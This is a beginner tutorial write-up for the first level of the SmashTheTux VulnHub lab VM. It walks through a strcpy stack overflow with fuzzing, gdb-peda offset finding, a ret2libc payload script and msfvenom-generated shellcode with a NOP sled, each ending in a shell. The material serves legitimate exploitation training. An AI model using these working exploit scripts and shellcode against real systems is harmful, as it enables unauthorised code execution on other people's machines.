SmashTheTux – Chapter 0x00 – Basic Buffer Overflow & Ret2libc

SmasTheTux is Vulnerable VM hosted by VulnHub and created by CanYouPwnMe

Disclaimer

This is for educational purpose and I will try to explain this tutorial with beginner-friendly explanation as I can.

SmashTheTux is a new VM made by canyoupwn.me for those who wants to take a step into the world of binary exploitation. This VM consists of 9 challenges, each introducing a different type of vulnerability. SmashTheTux covers basic exploitation of the following weaknesses:

  • Stack Overflow Vulnerability
  • Off-by-One Vulnerability
  • Integer Overflow
  • Format String Vulnerability
  • Race Conditions
  • File Access Weaknesses
  • Heap Overflow Vulnerability

VM Description:

Name........: SmashTheTux: 1.0.1
Date Release: 1 Apr 2016
Author......: CanYouPwn.Me
Series......: SmashTheTux
Objective...: Leveling up from user
Tester(s)...: h1tch1
Twitter.....: https://twitter.com/D4rk36
Credential..: tux:tux,root:1N33dP0w3r
Filename....: SmashTheTux_v1.0.1.7z
File size...: 616 MB
MD5.........: 63FEDA288163D9155B1BF84D1C6C2814
SHA1........: 01DCB1AB85B139A386AD97B41190731509612F59

Download link: https://www.vulnhub.com/entry/smashthetux-101,138/

Summary

In this first series, I will cover two topic:

  • Bypassing NX using ret2libc
  • Exploiting with execstack enable

Initial Setup

Login to SmasTheTux VM using Virtualbox, VMWare or other virtualization clients with the above credentials and then get the IP address from that for easy access:

SSH

We will use ssh for remoting the VM because it’s easy to use rather than debugging in the VM without scroll function, copy paste and other function.

ssh tux@192.168.2.125
The authenticity of host '192.168.2.125 (192.168.2.125)' can't be established.
ECDSA key fingerprint is SHA256:f/.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.125' (ECDSA) to the list of known hosts.
                            _    _            _._ 
                          .|_|_,' |          /_ _`. 
                          |       |          (.X.)| 
                          `|`'`-._|          |\_/'| 
                           | |               )____`\ 
                           | |              //_V _\ \ 
                           | |             ((  |  `(_) 
                           | |            / \> '   / \ 
                           | |            \  \.__./  / 
                           | |             `-'    `-' 
                           | |
                          |` |
                          `--'
         __                     _    _____ _         _____            
        / _\_ __ ___   __ _ ___| |__/__   \ |__   __/__   \_   ___  __
        \ \| '_ ` _ \ / _` / __| '_ \ / /\/ '_ \ / _ \/ /\/ | | \ \/ /
        _\ \ | | | | | (_| \__ \ | | / /  | | | |  __/ /  | |_| |>  < 
        \__/_| |_| |_|\__,_|___/_| |_\/   |_| |_|\___\/    \__,_/_/\_\
                                                                      
                                                by canyoupwn.me

tux@192.168.2.125's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Mon Jul  8 10:10:30 2019
tux@tux:~$ 

After successful login, we can see a list of files and tutorials for completing these challenges:

tux@tux:~$ ls -al
total 288
drwxr-xr-x 12 tux  tux   4096 Mar 12  2016 .
drwxr-xr-x  3 root root  4096 Mar 11  2016 ..
drwxr-xr-x  2 tux  tux   4096 Mar 11  2016 0x00
drwxr-xr-x  2 tux  tux   4096 Mar 11  2016 0x01
drwxr-xr-x  2 tux  tux   4096 Mar 12  2016 0x02
drwxr-xr-x  2 tux  tux   4096 Mar 12  2016 0x03
drwxr-xr-x  2 tux  tux   4096 Mar 12  2016 0x04
drwxr-xr-x  2 tux  tux   4096 Mar 12  2016 0x05
drwxr-xr-x  2 tux  tux   4096 Mar 12  2016 0x06
drwxr-xr-x  2 tux  tux   4096 Mar 12  2016 0x07
drwxr-xr-x  2 tux  tux   4096 Mar 12  2016 0x08
drwxr-xr-x  2 tux  tux   4096 Mar 12  2016 0x09
lrwxrwxrwx  1 tux  tux      9 Mar 11  2016 .bash_history -> /dev/null
-rw-r--r--  1 tux  tux    220 Mar 11  2016 .bash_logout
-rw-r--r--  1 tux  tux   3545 Mar 11  2016 .bashrc
lrwxrwxrwx  1 tux  tux      9 Mar 11  2016 .nano_history -> /dev/null
-rw-r--r--  1 tux  tux    675 Mar 11  2016 .profile
-rw-r--r--  1 tux  tux    679 Mar 12  2016 README
-rw-r--r--  1 tux  tux  20871 Mar 12  2016 TUTORIAL_formatstring
-rw-r--r--  1 tux  tux  91044 Mar 11  2016 TUTORIAL_heapoverflow
-rw-r--r--  1 tux  tux  27657 Mar 11  2016 TUTORIAL_integerbugs
-rw-r--r--  1 tux  tux  18657 Mar 11  2016 TUTORIAL_offbyone
-rw-r--r--  1 tux  tux  60996 Mar 11  2016 TUTORIAL_stackoverflow

For someone who have experienced with Protostar, this machine challenges is identical with that.

Level 0x00

We have binary file with the source code available:

// gcc pwnme.c -o pwnme -fno-stack-protector
#include <stdio.h>
#include <string.h>

void vuln( char * arg ) {
        char buf[256];
        strcpy(buf, arg);
}

int main(int argc, char **argv) {
        printf("Val: %s\n", argv[1]);
        vuln(argv[1]);

        return 0;
}

The above code consist of vulnerable function:

  • main() function take the input as argv[1] and the pass the value to vuln() function
  • char buf[256];define the buf variable with 256 bytes in length.
  • strcpy(buf, arg); copying buffer from main() to arg variable

We know that strcpy(3) is a very unsafe function call in the C library and we should use strlcpy(3) or snprintfinstead. Why? Because by default no check for the size of data that will fit in the local buffer and blindly copies the data.

Fuzzing

We know that maximum length is 256 bytes for the user input defined before. We can use little python script for fuzzing the input in case we don’t know the offset address:

# tux@tux:~/0x00$ cat fuzz.py
import os

buffer=["A"]
counter=100

while len(buffer) <= 30:
    buffer.append("A" * counter)
    counter=counter+100

for string in buffer:
    print("Fuzzing %s bytes" % len(string))
    os.system("./pwnme %s" % string) 

Explanation:

  • Define first buffer as 100 bytes and then increase by 100 bytes per loop
  • Copy buffer to program parameter as an argument

It will show this result:

tux@tux:~/0x00$ python fuzz.py 
Fuzzing 1 bytes
Val: A
Fuzzing 100 bytes
Val: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Fuzzing 200 bytes
Val: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Fuzzing 300 bytes
Val: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
Fuzzing 400 bytes
Val: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
Fuzzing 500 bytes
Val: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

------- long result cut ----------

From the above result, the program starting to crash/segmentation fault when we use 300 bytes as the input parameter. But what number exactly trigger that segfault? How to find the missing one? Let’s use gdb-peda for doing this job. I will prefer gdb-peda instead of gdb for easy to use and more friendly.

Install Gdb-Peda

Don’t forget to check if gdb is existed in the machine before using gdb-peda.

tux@tux:~/0x00$ gdb -v
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".

Because of a limited package in the remote machine, we need to download gdb-peda in local and then copy to the server using SCP or FTP.

# in host machine
git clone https://github.com/longld/peda.git /home/user/peda
scp -r /home/user/peda tux@192.168.2.125:/home/tux

# from the tux machine
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

We can check if peda is successfully installed with just running the gdb and see the result:

tux@tux:~/0x00$ gdb ./pwnme 
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./pwnme...(no debugging symbols found)...done.
gdb-peda$ 

Nah, we have gdb-peda installed. Let’s do some check for binary security of that file. This is the first thing that I would do when starting Linux binary exploitation:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Hm… NX is enabled. So, what this means is that we can’t execute our payload/shellcode in stack address because of NX(Non-Executable stack) prevention. Since the processor is not allowed to execute instructions placed on the stack.

In order to bypass this mechanism, We can use ret2lib(return to libc or return to the C library) technique. In the simple definition, this attack doesn’t require any shellcode to take control of the target vulnerable process because we can invoke classic built-in functions such as "system, exit, etc".

For more information about ret2libc, you can look at @IoTh1nkN0t explanation https://0x00sec.org/t/exploiting-techniques-000-ret2libc/1833

Finding Patterns

As we know that our program crash when using 300 bytes as input parameter, this is will be our clue for creating a pattern and finding the right offset with gdb-peda.

gdb-peda$ pattern create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
Starting program: /home/tux/0x00/pwnme 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
Val: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff4b0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EBX: 0xbffff5f0 --> 0x2 
ECX: 0xbffff8e0 ("A%5A%KA%gA%6A%")
EDX: 0xbffff5ce ("A%5A%KA%gA%6A%")
ESI: 0x0 
EDI: 0x0 
EBP: 0x64254148 ('HA%d')
ESP: 0xbffff5c0 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
EIP: 0x41332541 ('A%3A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41332541
[------------------------------------stack-------------------------------------]
0000| 0xbffff5c0 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0004| 0xbffff5c4 ("eA%4A%JA%fA%5A%KA%gA%6A%")
0008| 0xbffff5c8 ("A%JA%fA%5A%KA%gA%6A%")
0012| 0xbffff5cc ("%fA%5A%KA%gA%6A%")
0016| 0xbffff5d0 ("5A%KA%gA%6A%")
0020| 0xbffff5d4 ("A%gA%6A%")
0024| 0xbffff5d8 ("%6A%")
0028| 0xbffff5dc --> 0xb7e3fa00 (<__libc_start_main+144>:       mov    esi,DWORD PTR [eax+0x1d0])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41332541 i

Aha! We got a signal from our Lord with SIGSEGV(Segmentation Fault). From my experience, this is a possible signal to overflow the buffer. We get the offset at the end of result 0x41332541.

We can check information register for EIP, EBP, ESP:

gdb-peda$  i r eip esp ebp
eip            0x41332541       0x41332541
esp            0xbffff5c0       0xbffff5c0
ebp            0x64254148       0x64254148

What’s next? checking the correct offset address:

gdb-peda$ pattern offset 0x41332541
1093870913 found at offset: 268

Now, this is what we got so far:

  • EIP Offset 0x41332541
  • Offset Number 268
  • NX Enabled.

Exploiting with NX Enabled

First, We need to check if ASLR is enabled or not

$ cat /proc/sys/kernel/randomize_va_space
0

Good, ASLR is disabled for this machine. So, it will be easy for us because the address space value is not dynamically changed.

tux@tux:~/0x00$ ldd pwnme
        linux-gate.so.1 (0xb7ffd000)
        libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e46000)
        /lib/ld-linux.so.2 (0x80000000)
tux@tux:~/0x00$ ldd pwnme
        linux-gate.so.1 (0xb7ffd000)
        libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e46000)
        /lib/ld-linux.so.2 (0x80000000)
tux@tux:~/0x00$ ldd pwnme
        linux-gate.so.1 (0xb7ffd000)
        libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e46000)
        /lib/ld-linux.so.2 (0x80000000)

As we can see "libc" address is the same every time we check with ldd.

Finding Functions Address

For this purpose, We only need system(), /bin/sh, and exit() function. We will use system function and passing a shell as an argument and then invoke the exit function in order to terminate our system call. Start the program first.

gdb-peda$ start
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0xb7fcf000 --> 0x1a8da8 
ECX: 0xbffff730 --> 0x1 
EDX: 0xbffff754 --> 0xb7fcf000 --> 0x1a8da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff718 --> 0x0 
ESP: 0xbffff710 --> 0xbffff730 --> 0x1 
EIP: 0x804845a (<main+15>:      mov    ebx,ecx)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048456 <main+11>: mov    ebp,esp
   0x8048458 <main+13>: push   ebx
   0x8048459 <main+14>: push   ecx
=> 0x804845a <main+15>: mov    ebx,ecx
   0x804845c <main+17>: mov    eax,DWORD PTR [ebx+0x4]
   0x804845f <main+20>: add    eax,0x4
   0x8048462 <main+23>: mov    eax,DWORD PTR [eax]
   0x8048464 <main+25>: sub    esp,0x8
[------------------------------------stack-------------------------------------]
0000| 0xbffff710 --> 0xbffff730 --> 0x1 
0004| 0xbffff714 --> 0xb7fcf000 --> 0x1a8da8 
0008| 0xbffff718 --> 0x0 
0012| 0xbffff71c --> 0xb7e3fa63 (<__libc_start_main+243>:       mov    DWORD PTR [esp],eax)
0016| 0xbffff720 --> 0x80484a0 (<__libc_csu_init>:      push   ebp)
0020| 0xbffff724 --> 0x0 
0024| 0xbffff728 --> 0x0 
0028| 0xbffff72c --> 0xb7e3fa63 (<__libc_start_main+243>:       mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x0804845a in main ()

After that, we can find the address we need.

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f85a69 ("/bin/sh")
gdb-peda$ p &exit
$1 = (<text variable, no debug info> *) 0xb7e571b0 <__GI_exit>
gdb-peda$ p &system
$2 = (<text variable, no debug info> *) 0xb7e643e0 <__libc_system>

Explanation:

  • system() address is 0xb7e643e0
  • exit() address is 0xb7e571b0
  • /bin/sh address 0xb7f85a69

Creating Payload

We can use this formula from the information we gathered before:

Bytes Offset + System Address + Exit Address + Shell Address

268 + 0xb7e643e0 + 0xb7e571b0 + 0xb7f85a69

We can use python for doing exploitation

# cat bypass_nx.py
from struct import *

buf = ""
buf += "X" * (268)
buf += pack("<L",0xb7e643e0) #system() address
buf += pack("<L",0xb7e571b0) #exit() address
buf += pack("<L",0xb7f85a69 ) #/bin/sh call address
print buf

Time to exploit

tux@tux:~/0x00$ ./pwnme $(python bypass_nx.py)
Val: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX�C淰q��iZ��
$ ps
  PID TTY          TIME CMD
  816 pts/0    00:00:00 bash
 1092 pts/0    00:00:00 pwnme
 1094 pts/0    00:00:00 sh
 1098 pts/0    00:00:00 ps
$ echo $0
/bin/sh

Horrraaaayyyyyyyyy! We can spawn new shell.

In the end, We will return to libc

[BONUS] Exploiting with NX Disable

By default, the program compiled with NX protection and not allowed for executes the payload in stack address. For this bonus section, we can recompile using execstack parameter for gcc.

mv pwnme pwnme-nx
gcc pwnme.c -o pwnme -fno-stack-protector -z execstack

Check with gdb-peda.

tux@tux:~/0x00$ gdb pwnme 
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from pwnme...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

As you can see, NX protection is disabled for now. We need to know where we will jump by checking the jmp call eax address.

Searching for jmp/eax call, this information will be useful when overwritting EIP Address.

gdb-peda$ jmpcall
0x8048393 : call eax
0x80483cd : call edx
0x8048420 : call edx
0x80485b7 : jmp [eax]
0x8049393 : call eax
0x80493cd : call edx
0x8049420 : call edx
0x80495b7 : jmp [eax]

We will use 0x8048393 : call eax and note this address as return address.

Now, this is what we got so far:

  • EIP Offset 0x41332541
  • Offset Number 268
  • return address 0x8048393
  • padding/nop => 268 – shellcode buf – 4

We know that our offset is 268 and here is the formula I used:

Padding + shellcode buf + return address

Generating Payload

For this purpose, we need Venom for creating the payload because Spiderman is far from home :P. I think 268 bytes is enough for basic exec linux payload. You may use other shellcode than venom. I’m just prefer this for easy to use. I’m exclude "\x00\x0a\0d" from shellcode payload as bad character.

↳ msfvenom -p linux/x86/exec CMD=/bin/bash -a x86 --platform linux  -f python -b "\x00\x0a\0d"
WARNING: Nokogiri was built against LibXML version 2.9.8, but has dynamically loaded 2.9.9
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 72 (iteration=0)
x86/shikata_ga_nai chosen with final size 72
Payload size: 72 bytes
Final size of python file: 358 bytes
buf =  ""
buf += "\xb8\x72\x71\x70\x34\xda\xc8\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x0c\x83\xea\xfc\x31\x42\x0f\x03\x42\x7d\x93"
buf += "\x85\x5e\x8a\x0b\xff\xcd\xea\xc3\xd2\x92\x7b\xf4\x45"
buf += "\x7a\x08\x93\x95\xec\xc1\x01\xff\x82\x94\x25\xad\xb2"
buf += "\xac\xa9\x52\x43\x9f\xcb\x3b\x2d\xf0\x69\xdd\xc2\x66"
buf += "\x6e\x4a\x76\xff\x8f\xb9\xf8"

Okay, time for generating our final payload:

import os

# linux/x86/exec CMD=/bin/bash payload 
# bad char : "\x00\x0a\0d"

buf =  ""
buf += "\xb8\x72\x71\x70\x34\xda\xc8\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x0c\x83\xea\xfc\x31\x42\x0f\x03\x42\x7d\x93"
buf += "\x85\x5e\x8a\x0b\xff\xcd\xea\xc3\xd2\x92\x7b\xf4\x45"
buf += "\x7a\x08\x93\x95\xec\xc1\x01\xff\x82\x94\x25\xad\xb2"
buf += "\xac\xa9\x52\x43\x9f\xcb\x3b\x2d\xf0\x69\xdd\xc2\x66"
buf += "\x6e\x4a\x76\xff\x8f\xb9\xf8"

# define offset
offset = 268

# (268 - 72) - 4 = 192
padding = (offset - len(buf)) - 4

# NOPSLED as identifer with total offset - size of the buf
payload =  "\x90" * padding + buf

# overwrite EIP to jump to 'call eax' in little endians
payload += "\x93\x83\x04\08"

print payload

With that script, you don’t need to worry thinking of how many padding you should use.

Time to exploit:

tux@tux:~/0x00$ echo $$
1335
tux@tux:~/0x00$ ps
  PID TTY          TIME CMD
 1335 pts/0    00:00:00 bash
 1437 pts/0    00:00:00 ps
tux@tux:~/0x00$ ./pwnme $(python exploit.py)
Val: �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������rqp4���t$�Z)ɱ
                                      ���1BB}��^�
                                                 ����Ғ{�E�������%����RC��;-�i��fnJv������8
tux@tux:/home/tux/0x00$ echo $$
1440
tux@tux:/home/tux/0x00$ ps
  PID TTY          TIME CMD
 1335 pts/0    00:00:00 bash
 1439 pts/0    00:00:00 sh
 1440 pts/0    00:00:00 bash
 1445 pts/0    00:00:00 ps
tux@tux:/home/tux/0x00$ 

I will discuss Level 0x01 in the next series of SmashTheTux.

Reference:

  • https://cwe.mitre.org/data/definitions/120.html
  • https://www.freebsd.org/cgi/man.cgi?query=strlcpy&sektion=3
  • https://github.com/ebtaleb/peda_cheatsheet/blob/master/peda.md
  • https://chortle.ccsu.edu/AssemblyTutorial/Chapter-15/ass15_3.html
  • https://www.shellblade.net/docs/ret2libc.pdf
  • https://decoder.cloud/2017/06/15/simple-aslrnx-bypass-on-a-linux-32-bit-binary/
  • https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/
  • https://reboare.github.io/bof/linux-stack-bof-3.html
  • https://www.coengoedegebure.com/buffer-overflow-attacks-explained/

PDF Version: https://petruknisme.com/wp-content/uploads/2019/07/SmashTheTux-Chapter-0x00-Basic-Buffer-Overflow-Ret2libc.pdf